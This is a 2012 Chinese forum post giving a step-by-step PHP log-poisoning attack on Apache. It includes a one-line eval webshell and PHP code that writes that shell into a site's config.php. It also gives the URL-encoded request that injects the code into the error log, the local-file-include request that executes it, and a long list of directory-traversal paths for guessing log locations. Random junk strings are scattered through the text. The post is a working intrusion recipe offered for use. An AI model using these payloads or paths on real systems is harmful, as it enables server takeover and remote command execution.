找回密码
 立即注册
查看: 2759|回复: 0
打印 上一主题 下一主题

php包含apache日志写马

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:27:40 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。
' v$ r- b  E/ m  ^  ^' ~4 Y5 U4 R! ?( H5 x! U9 _
比如还是这句一句话木马
: M% U+ ?7 d0 Q0 j% S( a9 A$ R/ J<?eval($_POST[cmd]);?>   8 Q7 i" x: b9 k, t! h' W
7 b* E' Y5 C- h* P% D- \
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
/ W3 M' D" t$ V- k) }4 tfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 * S# k2 ~9 g* n% r, f7 d4 `* R# l& ^: E

/ D( G; j% ^8 r: R7 F<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
* c2 a: T3 N- A" u3 i, U, zfclose($fp);?>   //在config.php里写入一句木马语句 ) g+ `; r3 U4 d$ S' F% H- `
  C; K( b! d& g. L
我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。 ) i# O3 V  M  v- R0 }6 j; Q6 n7 A. `
转换为 - j; i, n! B3 I: Z( G- {
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F & I$ k/ d  n$ z% x% |4 R
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
" Y. @2 o8 o! V% D: x  B%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
6 B1 F. c0 s" h$ _4 r8 Vfclose%28%24fp%29%3B%3F%3E 0 f) P6 d8 T# I" l( M$ _
我们提交
+ k" I6 V: M6 Ihttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww # z, D. D0 t# Q; ]1 B1 c4 L
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp   B! k; V& i0 C4 Q( [2 c: y0 y
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
" ?, V2 Y; o; rcmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
8 A" R6 t4 W  I8 {  @1 C$ L, h) i7 j3 Y; [- W4 z  @; ?! I1 I1 q, V
这样就错误日志里就记录下了这行写入webshell的代码。
: a2 k! i( s0 V% y% V. u我们再来包含日志,提交 5 j  E% E: i: z* D" r2 Z
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log 2 a  v0 T' n. O' I3 Z- E8 X

9 U# ^  q: s% b0 Q这样webshell就写入成功了,config.php里就写入一句木马语句
- M& c1 i1 n7 a. t( ]4 eOK.
+ U9 e; ^! x6 chttp://www.xxx.com/forum/config.php这个就成了我们的webshell
0 K  g% v8 d1 R5 ~" G9 `直接用lanker的客户端一连,主机就是你的了。 / o8 @8 A2 Y; y2 Z2 F, W$ j
" ~" H- @" S$ H
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
/ |/ K( v: j" z1 ~( Z0 A  q- J
. n5 c: g2 f% M4 ~/ u, p; ^: ?其他的日志路径,你可以去猜,也可以参照这里。 9 Z! u8 g& m) h: ~2 @; y1 l: C' J
../../../../../../../../../../var/log/httpd/access_log
  n  l6 r; H% N( ]../../../../../../../../../../var/log/httpd/error_log
" {3 P5 u* z0 w9 D8 y../apache/logs/error.log : c* ^0 [; s  u2 e$ v
../apache/logs/access.log
. b' l! r0 s  E4 u../../apache/logs/error.log
3 l8 H0 `5 r* l  g1 m../../apache/logs/access.log 1 [( c* X8 f, B' T6 C% A. |" q
../../../apache/logs/error.log : x8 U6 U' q3 B1 p
../../../apache/logs/access.log 4 {, K0 D: c% Y! }- [" z- V" K
../../../../../../../../../../etc/httpd/logs/acces_log 2 q( ~5 x+ ^; z3 B; N1 J6 j" }' k: N
../../../../../../../../../../etc/httpd/logs/acces.log 1 n! B  K: o" _9 U  b: R
../../../../../../../../../../etc/httpd/logs/error_log * v$ t" D7 j' K4 n# a
../../../../../../../../../../etc/httpd/logs/error.log   `, b$ x. X) j- C# B& h' m0 V
../../../../../../../../../../var/www/logs/access_log
$ Q" _! F( y% T2 H../../../../../../../../../../var/www/logs/access.log
8 i; Q; v5 G$ q) L1 L) O  U" ?../../../../../../../../../../usr/local/apache/logs/access_log
2 S: E4 i) d* d0 W../../../../../../../../../../usr/local/apache/logs/access.log ' ]) `& ^$ Z( j" N
../../../../../../../../../../var/log/apache/access_log
2 r- I% d8 ?$ ?2 l../../../../../../../../../../var/log/apache/access.log / ?1 @  K$ s8 @" y/ Z. [1 V
../../../../../../../../../../var/log/access_log
1 Q0 ^7 M' f* m# j- _7 M../../../../../../../../../../var/www/logs/error_log
& b( {& B8 N0 X& r# F3 f../../../../../../../../../../var/www/logs/error.log 4 Y5 e! e. {9 ^  ~: T5 U0 f/ E6 Q
../../../../../../../../../../usr/local/apache/logs/error_log
. j( q- y- X3 A../../../../../../../../../../usr/local/apache/logs/error.log $ N6 z  }1 Q5 l- v. q* k* J
../../../../../../../../../../var/log/apache/error_log
5 y2 _- w  |- h" B../../../../../../../../../../var/log/apache/error.log $ K/ y" J- E/ |, x
../../../../../../../../../../var/log/access_log - t0 r9 a8 w. _' d- g$ h
../../../../../../../../../../var/log/error_log : T+ s/ H- z" [9 A9 q
/var/log/httpd/access_log      
% b5 P) [$ Q4 o0 Y$ j8 ?5 q4 Y7 D5 y/var/log/httpd/error_log     
2 f  H) v. M7 _1 Z6 O3 i# I../apache/logs/error.log     
2 r9 W" A$ ^2 y../apache/logs/access.log
; ~  t/ D. o; p2 o../../apache/logs/error.log 4 b" P6 d+ m7 V; d0 Q- N
../../apache/logs/access.log $ F% U$ K  F2 P; g9 H2 K3 K
../../../apache/logs/error.log
4 c' J) E7 t9 j" q; b../../../apache/logs/access.log 4 p8 k) m8 E  G- J; N1 b$ c9 n
/etc/httpd/logs/acces_log
( x! [, h$ S( P( ?5 k$ l/etc/httpd/logs/acces.log
' S* n6 K' h# G6 t) A6 ?( k/etc/httpd/logs/error_log / D. y, V: t0 h( u* N1 `
/etc/httpd/logs/error.log
, }- E* M, ^4 q/var/www/logs/access_log
  m2 J* `( [$ |/var/www/logs/access.log & B9 o  b5 F2 c: [
/usr/local/apache/logs/access_log $ d8 w4 G4 l; n' e
/usr/local/apache/logs/access.log   N# r+ `3 j6 {) z- E
/var/log/apache/access_log + C+ ^2 L+ u) x- \! Z9 W5 y; ?
/var/log/apache/access.log
4 d' k3 v) k1 p/var/log/access_log   ~3 _4 F% ]2 V  ^+ j
/var/www/logs/error_log
- ]: ~0 o( h1 d0 }/var/www/logs/error.log
  @( ~/ L/ l6 n5 r) k/usr/local/apache/logs/error_log 3 F& I: ~0 N6 H$ h
/usr/local/apache/logs/error.log # e. u) j8 _! w- L9 X% j4 t) I( \. C
/var/log/apache/error_log
' \: @. z& b5 M( J! [  z* h" {/var/log/apache/error.log ( `0 H/ M! H5 R
/var/log/access_log - O/ ^2 D# t5 ?0 O1 p
/var/log/error_log
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表